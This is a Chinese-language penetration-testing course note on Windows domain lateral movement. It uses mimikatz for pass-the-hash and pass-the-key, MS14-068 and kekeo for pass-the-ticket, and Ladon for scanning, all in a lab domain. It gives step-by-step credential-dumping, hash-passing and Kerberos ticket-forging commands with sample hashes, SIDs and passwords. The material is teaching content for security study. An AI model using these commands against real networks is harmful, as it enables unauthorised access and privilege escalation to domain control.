68:內網安全-域橫向PTH&PTK&PTT哈希票據傳遞


思維導圖

知識點:

  • PTH (pass the hash) 利用lm或者ntlm的值進行的滲透測試
  • PTT (pass the ticket) 利用的票據憑證TGT進行的滲透測試
  • PTK (pass the key) 利用的ekeys aes256進行的滲透測試

PTH在內網滲透中是一種很經典的攻擊方式,原理就是攻擊者可以直接通過LM Hash和NTLM Hash遠程訪問主機或者服務,而不提供明文密碼。

如果禁用了ntlm認證,PsExec工具無法利用獲得的ntlm hash進行遠程連接,但是使用mimikatz工具還是可以攻擊成功。

對於8.1/2012r2,安裝補丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash來實現ptk攻擊。

總結:KB2871997補丁后的影響

  • pth:沒打補丁用戶都可以連接,打了補丁只能administrator連接
  • ptk:打了補丁才能用戶都可以連接,采用aes256連接
  • https://www.freebuf.com/column/220740.html

PTT攻擊的部分就不是簡單的NTLM認證了,它是利用Kerberos協議進行攻擊的,這里就介紹三種常見的攻擊方法:MS14-068,Golden ticket,SILVER ticket,簡單來說就是將連接合法的票據注入到內存中實現連接。

MS14-068基於漏洞,Golden ticket(黃金票據),SILVER ticket(白銀票據)

其中Golden ticket(黃金票據),SILVER ticket(白銀票據)屬於權限維持技術(不屬於本課內容,以后會講)

MS14-068造成的危害是允許域內任何一個普通用戶,將自己提升至域管權限。微軟給出的補丁是kb3011780。

補充-Kerberos協議具體工作方法,在域中,簡要介紹一下:

  • 客戶機將明文密碼進行NTLM哈希,然后和時間戳一起加密(使用krbtgt密碼hash作為密鑰),發送給kdc(域控),kdc對用戶進行檢測,成功之后創建TGT(Ticket-Granting Ticket)
  • 將TGT進行加密簽名返回給客戶機器,只有域用戶krbtgt才能讀取kerberos中TGT數據
  • 然后客戶機將TGT發送給域控制器KDC請求TGS(票證授權服務)票證,並且對TGT進行檢測
  • 檢測成功之后,將目標服務賬戶的NTLM以及TGT進行加密,將加密后的結果返回給客戶機。

 

本課重點

  • 案例1:域橫向移動PTH傳遞-Mimikatz
  • 案例2:域橫向移動PTK傳遞-Mimikatz
  • 案例3:域橫向移動PTT傳遞-MS14068&kekeo&local
  • 案例4:國產Ladon內網殺器測試驗收-信息收集,連接等

案例1:域橫向移動PTH傳遞-mimikatz

PTH ntlm傳遞 - 未打補丁下的工作組及域連接:

sekurlsa::logonPasswords	獲取NTLM值

sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7		連接域用戶
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c		連接本地用戶
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7

注意區分本地用戶與域用戶,在實戰中都嘗試連接一下 
dir \\OWA2010CN-God.god.org\c$
dir \\192.168.3.21\c$

案例演示

<1>當獲取到域內一個主機的權限之后,可以使用mimikatz運行sekurlsa::logonPasswords命令獲取其LM和NTLM。

注意:Windows系統LM Hash及NTLM Hash加密算法,個人系統在Windows vista后,服務器系統在Windows 2003以后,認證方式均為NTLM Hash。由於目前大部分主機系統都很新,所以一般我們收集的都是NTLM數據,但是也不排除內網中有老系統,所以在信息收集的時候,最好LM和NTLM都收集一下。

<2>當收集到NTLM數據后,很有可能內網中有其他主機的NTLM值與我們收集到的一致。此時我們就可以使用NTLM進行內網橫向滲透。

運行以下命令,域橫向移動PTH傳遞,攻擊未打補丁下域內主機,其中ccef208c6485269c20db2cad21734fe7是前期信息收集時收集到的NTLM值。

sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7

彈出一個新的cmd框,在彈出框內嘗試dir \\<域內IP>c$命令,遍歷域內IP,嘗試連接域內其他主機,只要彈出框,就說明一定有一個域內主機與我們收集到的NTLM值相同。由於我們是為了測試,所以剛才使用的是域控的NTLM值ccef208c6485269c20db2cad21734fe7,所以如下圖所示,正好連接域控,接下來我們就可以進行復制文件、執行文件等操作了。

注意:在PTH ntlm傳遞之前,連接是失敗的。如下圖所示,嘗試連接並查看域控c盤目錄,由於沒有用戶名密碼,登錄失敗。

dir \\OWA2010CN-God.god.org\c$
dir \\192.168.3.21\c$

案例2:域橫向移動PTK傳遞-mimikatz

PTK aes256傳遞 - 打補丁后的工作組及域連接:

sekurlsa::ekeys 獲取aes256值
sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

案例演示

<1>mimikatz運行sekurlsa::ekeys命令獲取aes256_hmac。

<2>運行以下命令,進行域橫向移動PTK傳遞

sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

在實戰中,user、domain、aes256的值都是可以寫成一個字典,進行批量測試。

在實際上,PTK傳遞比PTH傳遞用的少,因為PTK傳遞需要一個前提條件,主機必須打了補丁kb2871997。

案例3:域橫向移動PTT傳遞-ms14068&kekeo&本地

總結:ptt傳遞不需本地管理員權限,連接時主機名連接,基於漏洞,工具,本地票據

第一種:利用漏洞ms14068

ms14068,powershell執行,能實現普通用戶直接獲取域控system權限

MS14-068下載:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

1.查看當前sid 
whoami/user //查看當前sid 

2.清空當前機器中所有憑證
mimikatz # kerberos::purge	//清空當前機器中所有憑證,如果有域成員憑證會影響憑證偽造
mimikatz # kerberos::list	//查看當前機器憑證
mimikatz # kerberos::ptc 票據文件	//將票據注入到內存中

3.利用ms14-068生成TGT數據
ms14-068.exe -u 域成員名@域名 -s sid -d 域控制器地址 -p 域成員密碼
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45

4.票據注入內存
mimikatz.exe "kerberos::ptc TGT_mary@god.org.ccache" exit

5.查看憑證列表 
klist //查看憑證列表 

6.利用
dir \192.168.3.21\c$
dir \\OWA2010CN-God.god.org\c$

案例演示

<1>whoami/user 查看當前sid

我們知道mary就是域內一個普通用戶

<2>清空當前機器中所有憑證,如果有域成員憑證會影響憑證偽造

klist //查看憑證列表 
klist purge	//清空當前機器中所有憑證,如果有域成員憑證會影響憑證偽造

<3>利用ms14-068生成TGT數據

ms14-068.exe -u 域成員名@域名 -s sid -d 域控制器地址 -p 域成員密碼
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45

<4>將票據注入到內存中

./mimikatz.exe 
kerberos::ptc TGT_mary@god.org.ccache 
exit

<5>查看憑證列表。klist 查看一下,注入成功。

<6>利用

dir \192.168.3.21\c$
dir \\OWA2010CN-God.god.org\c$

第二種:利用工具kekeo

工具kekeo下載:https://github.com/gentilkiwi/kekeo/releases

1.生成票據
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"

2.導入票據
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

3.查看憑證 klist

4.利用
dir \192.168.3.21\c$
dir \\OWA2010CN-God.god.org\c$

案例演示

<1>生成票據,導入票據

kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c" //生成票據
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi //導入票據

<2>查看憑證 klist

<3>利用

dir \192.168.3.21\c$
dir \\OWA2010CN-God.god.org\c$

第三種:利用本地票據(需管理權限)

因為當前主機肯定之前與其他主機連接過,所以本地應該生成了一些票據,我們可以導出這些票據,然后再導入票據,利用。該方法類似於cookie欺騙。

缺點:票據是有有效期的,一般為10小時,所以如果當前主機10h之內連接過域控的話,我們可以利用該票據,但是如果超過10h,就沒法利用了。

sekurlsa::tickets /export //導出本地票據(需管理權限)
kerberos::ptt xxxxxxxxxx.xxxx.kirbi //導入票據
klist //查看票據
dir \\OWA2010CN-God.god.org\c$ //利用
dir \192.168.3.21\c$

案例演示

<1>導出本地票據(需管理權限)到當前目錄

sekurlsa::tickets /export

下面是所有導出的票據

此時klist查看票據為空

<2>導入票據

kerberos::ptt xxxxxxxxxx.xxxx.kirbi //導入票據

<3>klist查看票據,導入成功。

<4>利用

dir \\OWA2010CN-God.god.org\c$ //利用
dir \192.168.3.21\c$

案例4:國產Ladon內網殺器測試驗收

信息收集-協議掃描-漏洞探針-傳遞攻擊等

官網:http://k8gege.org/Ladon/

具體用法請查看官網wiki,舉例如下

Ladon.exe 192.168.1.8/24 OnlinePC 掃當前機器所處C段的存活主機,其它模塊同理
Ladon.exe 192.168.1.8/24 OsScan 掃當前機器所處C段操作系統版本,其它模塊同理
Ladon.exe 192.168.1.8/24 MysqlScan 掃當前機器所處C段的ssh端口,其它模塊同理
Ladon 192.168.1.8/24 MS17010 掃當前機器所處C段的永恆之藍漏洞,其它模塊同理
參考:https://www.cnblogs.com/zpchcbd/p/11944486.html

  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM